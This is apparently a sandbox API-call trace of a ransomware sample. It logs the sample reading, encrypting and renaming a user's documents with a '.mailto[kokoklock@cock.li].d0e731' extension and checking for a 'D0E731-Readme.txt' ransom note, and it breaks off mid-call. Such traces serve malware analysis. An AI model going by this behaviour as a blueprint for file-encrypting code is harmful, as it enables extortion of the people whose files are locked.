RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f950a8 [0177.810] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f950d0 [0177.810] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f950d0) returned 1 [0177.810] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88a78) returned 1 [0177.810] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f876b0) returned 1 [0177.810] WriteFile (in: hFile=0x368, lpBuffer=0x4f040f8*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x2c37fe14, lpOverlapped=0x0 | out: lpBuffer=0x4f040f8*, lpNumberOfBytesWritten=0x2c37fe14*=0x4096, lpOverlapped=0x0) returned 1 [0177.810] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f040f8) returned 1 [0177.811] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0xbd40, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.811] WriteFile (in: hFile=0x368, lpBuffer=0x2f950a8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2c37fe4c, lpOverlapped=0x0 | out: lpBuffer=0x2f950a8*, lpNumberOfBytesWritten=0x2c37fe4c*=0x20, lpOverlapped=0x0) returned 1 [0177.811] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f950a8) returned 1 [0177.811] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f00058) returned 1 [0177.811] WriteFile (in: hFile=0x368, lpBuffer=0x2f95080*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2c37fe60, lpOverlapped=0x0 | out: lpBuffer=0x2f95080*, lpNumberOfBytesWritten=0x2c37fe60*=0x8, lpOverlapped=0x0) returned 1 [0177.811] WriteFile (in: hFile=0x368, lpBuffer=0x2c37fe78*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c37fe60, lpOverlapped=0x0 | out: lpBuffer=0x2c37fe78*, lpNumberOfBytesWritten=0x2c37fe60*=0x4, lpOverlapped=0x0) returned 1 [0177.811] WriteFile (in: hFile=0x368, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c37fe60, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x2c37fe60*=0x4, lpOverlapped=0x0) returned 1 [0177.812] WriteFile (in: hFile=0x368, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2c37fe60, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x2c37fe60*=0x6c, lpOverlapped=0x0) returned 1 [0177.812] WriteFile (in: hFile=0x368, lpBuffer=0x2f94fe0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2c37fe60, lpOverlapped=0x0 | out: lpBuffer=0x2f94fe0*, lpNumberOfBytesWritten=0x2c37fe60*=0x20, lpOverlapped=0x0) returned 1 [0177.812] WriteFile (in: hFile=0x368, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c37fe60, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x2c37fe60*=0x4, lpOverlapped=0x0) returned 1 [0177.812] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94fe0) returned 1 [0177.812] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f95058) returned 1 [0177.812] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f95080) returned 1 [0177.812] CloseHandle (hObject=0x368) returned 1 [0177.812] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x10e) returned 0x305c7d8 [0177.812] wcscpy (in: _Dest=0x305c7d8, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\Kk8Us_WY.docx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\Kk8Us_WY.docx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\Kk8Us_WY.docx.mailto[kokoklock@cock.li].d0e731" [0177.812] wcscat (in: _Dest=0x305c7d8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\Kk8Us_WY.docx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\Kk8Us_WY.docx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0177.812] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\Kk8Us_WY.docx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\kk8us_wy.docx.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\Kk8Us_WY.docx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\kk8us_wy.docx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0177.813] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\Kk8Us_WY.docx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0177.813] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x305c7d8) returned 1 [0177.813] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\Kk8Us_WY.docx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.814] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x94) returned 0x3055718 [0177.814] wcscpy (in: _Dest=0x3055718, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\" [0177.814] wcscat (in: _Dest=0x3055718, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\D0E731-Readme.txt" [0177.814] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\d0e731-readme.txt")) returned 0x20 [0177.817] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3055718) returned 1 [0177.817] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f7e038) returned 1 [0177.817] RtlExitUserThread (Status=0x1) Thread: id = 2729 os_tid = 0x12e8 [0177.819] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\m0Inl.odt.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\m0inl.odt.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0177.819] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\m0Inl.odt.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0177.819] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\m0Inl.odt.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\m0inl.odt.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0177.819] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2c3ffbc8 | out: lpFileSize=0x2c3ffbc8*=18966) returned 1 [0177.819] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x4a12, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.819] ReadFile (in: hFile=0x368, lpBuffer=0x2c3ffb9c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c3ffb98, lpOverlapped=0x0 | out: lpBuffer=0x2c3ffb9c*, lpNumberOfBytesRead=0x2c3ffb98*=0x4, lpOverlapped=0x0) returned 1 [0177.820] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.820] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94f40 [0177.820] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94fe0 [0177.820] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f95058 [0177.820] NtQuerySystemTime (in: CurrentTime=0x2c3ffb74 | out: CurrentTime=0x2c3ffb74*=132121213351405620) returned 0x0 [0177.820] RtlRandom (in: Seed=0x2c3ffb80 | out: Seed=0x2c3ffb80) returned 0xa69ed94c [0177.820] RtlRandom (in: Seed=0x2c3ffb80 | out: Seed=0x2c3ffb80) returned 0x5f10976c [0177.820] RtlRandom (in: Seed=0x2c3ffb80 | out: Seed=0x2c3ffb80) returned 0xac93d181 [0177.820] RtlRandom (in: Seed=0x2c3ffb80 | out: Seed=0x2c3ffb80) returned 0x823b93cc [0177.820] RtlRandom (in: Seed=0x2c3ffb80 | out: Seed=0x2c3ffb80) returned 0x9bce4be8 [0177.820] RtlRandom (in: Seed=0x2c3ffb80 | out: Seed=0x2c3ffb80) returned 0xc00a5b13 [0177.820] RtlRandom (in: Seed=0x2c3ffb80 | out: Seed=0x2c3ffb80) returned 0xe767ea4c [0177.821] RtlRandom (in: Seed=0x2c3ffb80 | out: Seed=0x2c3ffb80) returned 0x5f87ff80 [0177.821] RtlRandom (in: Seed=0x2c3ffb80 | out: Seed=0x2c3ffb80) returned 0x2dbbc65 [0177.821] RtlRandom (in: Seed=0x2c3ffb80 | out: Seed=0x2c3ffb80) returned 0x1c197a2d [0177.821] RtlRandom (in: Seed=0x2c3ffb80 | out: Seed=0x2c3ffb80) returned 0xf52b572b [0177.821] RtlRandom (in: Seed=0x2c3ffb80 | out: Seed=0x2c3ffb80) returned 0xc8e09830 [0177.821] RtlRandom (in: Seed=0x2c3ffb80 | out: Seed=0x2c3ffb80) returned 0xa9603537 [0177.821] RtlRandom (in: Seed=0x2c3ffb80 | out: Seed=0x2c3ffb80) returned 0x9bec958f [0177.821] RtlRandom (in: Seed=0x2c3ffb80 | out: Seed=0x2c3ffb80) returned 0x60ae4b5 [0177.821] RtlRandom (in: Seed=0x2c3ffb80 | out: Seed=0x2c3ffb80) returned 0xcb87d085 [0177.821] RtlRandom (in: Seed=0x2c3ffb80 | out: Seed=0x2c3ffb80) returned 0x5a1219b [0177.821] RtlRandom (in: Seed=0x2c3ffb80 | out: Seed=0x2c3ffb80) returned 0xfce7fa43 [0177.821] RtlRandom (in: Seed=0x2c3ffb80 | out: Seed=0x2c3ffb80) returned 0x8393a8bd [0177.821] RtlRandom (in: Seed=0x2c3ffb80 | out: Seed=0x2c3ffb80) returned 0x957b73cc [0177.821] RtlRandom (in: Seed=0x2c3ffb80 | out: Seed=0x2c3ffb80) returned 0x2604c51e [0177.821] RtlRandom (in: Seed=0x2c3ffb80 | out: Seed=0x2c3ffb80) returned 0xd0760c8c [0177.821] RtlRandom (in: Seed=0x2c3ffb80 | out: Seed=0x2c3ffb80) returned 0x5a292764 [0177.821] RtlRandom (in: Seed=0x2c3ffb80 | out: Seed=0x2c3ffb80) returned 0xb171fc1b [0177.821] RtlRandom (in: Seed=0x2c3ffb80 | out: Seed=0x2c3ffb80) returned 0x759c6111 [0177.821] RtlRandom (in: Seed=0x2c3ffb80 | out: Seed=0x2c3ffb80) returned 0x96a5ebd7 [0177.821] RtlRandom (in: Seed=0x2c3ffb80 | out: Seed=0x2c3ffb80) returned 0xbb6d27dc [0177.821] RtlRandom (in: Seed=0x2c3ffb80 | out: Seed=0x2c3ffb80) returned 0xa94c27bc [0177.821] RtlRandom (in: Seed=0x2c3ffb80 | out: Seed=0x2c3ffb80) returned 0xec1caafb [0177.821] RtlRandom (in: Seed=0x2c3ffb80 | out: Seed=0x2c3ffb80) returned 0xbf49e58e [0177.821] RtlRandom (in: Seed=0x2c3ffb80 | out: Seed=0x2c3ffb80) returned 0xa3f1a74c [0177.821] RtlRandom (in: Seed=0x2c3ffb80 | out: Seed=0x2c3ffb80) returned 0x7c803950 [0177.832] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.832] ReadFile (in: hFile=0x368, lpBuffer=0x4f00058, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x2c3ffb4c, lpOverlapped=0x0 | out: lpBuffer=0x4f00058*, lpNumberOfBytesRead=0x2c3ffb4c*=0x4096, lpOverlapped=0x0) returned 1 [0177.832] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.832] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f876b0 [0177.832] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f88dc0 [0177.832] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94f40 [0177.832] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94f40) returned 1 [0177.833] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x4f040f8 [0177.833] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f950d0 [0177.833] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94f40 [0177.833] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94f40) returned 1 [0177.833] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88dc0) returned 1 [0177.833] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f876b0) returned 1 [0177.833] WriteFile (in: hFile=0x368, lpBuffer=0x4f040f8*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x2c3ffb4c, lpOverlapped=0x0 | out: lpBuffer=0x4f040f8*, lpNumberOfBytesWritten=0x2c3ffb4c*=0x4096, lpOverlapped=0x0) returned 1 [0177.833] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f040f8) returned 1 [0177.833] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x4a16, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.833] WriteFile (in: hFile=0x368, lpBuffer=0x2f950d0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2c3ffb84, lpOverlapped=0x0 | out: lpBuffer=0x2f950d0*, lpNumberOfBytesWritten=0x2c3ffb84*=0x20, lpOverlapped=0x0) returned 1 [0177.834] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f950d0) returned 1 [0177.834] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f00058) returned 1 [0177.834] WriteFile (in: hFile=0x368, lpBuffer=0x2f950a8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2c3ffb98, lpOverlapped=0x0 | out: lpBuffer=0x2f950a8*, lpNumberOfBytesWritten=0x2c3ffb98*=0x8, lpOverlapped=0x0) returned 1 [0177.834] WriteFile (in: hFile=0x368, lpBuffer=0x2c3ffbb0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c3ffb98, lpOverlapped=0x0 | out: lpBuffer=0x2c3ffbb0*, lpNumberOfBytesWritten=0x2c3ffb98*=0x4, lpOverlapped=0x0) returned 1 [0177.834] WriteFile (in: hFile=0x368, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c3ffb98, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x2c3ffb98*=0x4, lpOverlapped=0x0) returned 1 [0177.834] WriteFile (in: hFile=0x368, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2c3ffb98, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x2c3ffb98*=0x6c, lpOverlapped=0x0) returned 1 [0177.834] WriteFile (in: hFile=0x368, lpBuffer=0x2f94fe0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2c3ffb98, lpOverlapped=0x0 | out: lpBuffer=0x2f94fe0*, lpNumberOfBytesWritten=0x2c3ffb98*=0x20, lpOverlapped=0x0) returned 1 [0177.834] WriteFile (in: hFile=0x368, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c3ffb98, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x2c3ffb98*=0x4, lpOverlapped=0x0) returned 1 [0177.834] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94fe0) returned 1 [0177.834] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f95080) returned 1 [0177.835] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f950a8) returned 1 [0177.835] CloseHandle (hObject=0x368) returned 1 [0177.835] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x106) returned 0x305c6c0 [0177.835] wcscpy (in: _Dest=0x305c6c0, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\m0Inl.odt.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\m0Inl.odt.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\m0Inl.odt.mailto[kokoklock@cock.li].d0e731" [0177.835] wcscat (in: _Dest=0x305c6c0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\m0Inl.odt.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\m0Inl.odt.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0177.835] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\m0Inl.odt.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\m0inl.odt.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\m0Inl.odt.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\m0inl.odt.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0177.836] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\m0Inl.odt.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0177.836] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x305c6c0) returned 1 [0177.836] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\m0Inl.odt.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.836] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x94) returned 0x3055c18 [0177.836] wcscpy (in: _Dest=0x3055c18, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\" [0177.836] wcscat (in: _Dest=0x3055c18, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\D0E731-Readme.txt" [0177.836] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\d0e731-readme.txt")) returned 0x20 [0177.836] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3055c18) returned 1 [0177.836] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc3bc8) returned 1 [0177.836] RtlExitUserThread (Status=0x1) Thread: id = 2730 os_tid = 0x12ec [0177.837] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x94) returned 0x3055e98 [0177.837] wcscpy (in: _Dest=0x3055e98, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ" [0177.837] wcscat (in: _Dest=0x3055e98, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\" [0177.837] wcscat (in: _Dest=0x3055e98, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\*") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\*" [0177.838] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x30213e0 [0177.838] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\*", lpFindFileData=0x30213e0 | out: lpFindFileData=0x30213e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50f1abe0, ftCreationTime.dwHighDateTime=0x1d4cc5c, ftLastAccessTime.dwLowDateTime=0x8c4a8c31, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8c4a8c31, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f80320 [0177.839] wcscmp (_String1=".", _String2=".") returned 0 [0177.839] FindNextFileW (in: hFindFile=0x2f80320, lpFindFileData=0x30213e0 | out: lpFindFileData=0x30213e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50f1abe0, ftCreationTime.dwHighDateTime=0x1d4cc5c, ftLastAccessTime.dwLowDateTime=0x8c4a8c31, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8c4a8c31, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0177.839] wcscmp (_String1="..", _String2=".") returned 1 [0177.839] wcscmp (_String1="..", _String2="..") returned 0 [0177.839] FindNextFileW (in: hFindFile=0x2f80320, lpFindFileData=0x30213e0 | out: lpFindFileData=0x30213e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c4a8c31, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8c4a8c31, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8c4cecac, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0177.839] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0177.839] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0177.839] FindNextFileW (in: hFindFile=0x2f80320, lpFindFileData=0x30213e0 | out: lpFindFileData=0x30213e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ae926e0, ftCreationTime.dwHighDateTime=0x1d4ccf0, ftLastAccessTime.dwLowDateTime=0x69591cb0, ftLastAccessTime.dwHighDateTime=0x1d4d263, ftLastWriteTime.dwLowDateTime=0x8b84a764, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x18545, dwReserved0=0x0, dwReserved1=0x0, cFileName="DDmQO8hl2GW91mUC8.odp.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="DDMQO8~1.D0E")) returned 1 [0177.839] wcscmp (_String1="DDmQO8hl2GW91mUC8.odp.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0177.839] wcscmp (_String1="DDmQO8hl2GW91mUC8.odp.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0177.839] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xfe) returned 0x2f6d590 [0177.839] wcscpy (in: _Dest=0x2f6d590, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ" [0177.839] wcscat (in: _Dest=0x2f6d590, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\" [0177.840] wcscat (in: _Dest=0x2f6d590, _Source="DDmQO8hl2GW91mUC8.odp.mailto[kokoklock@cock.li].d0e731" | out: 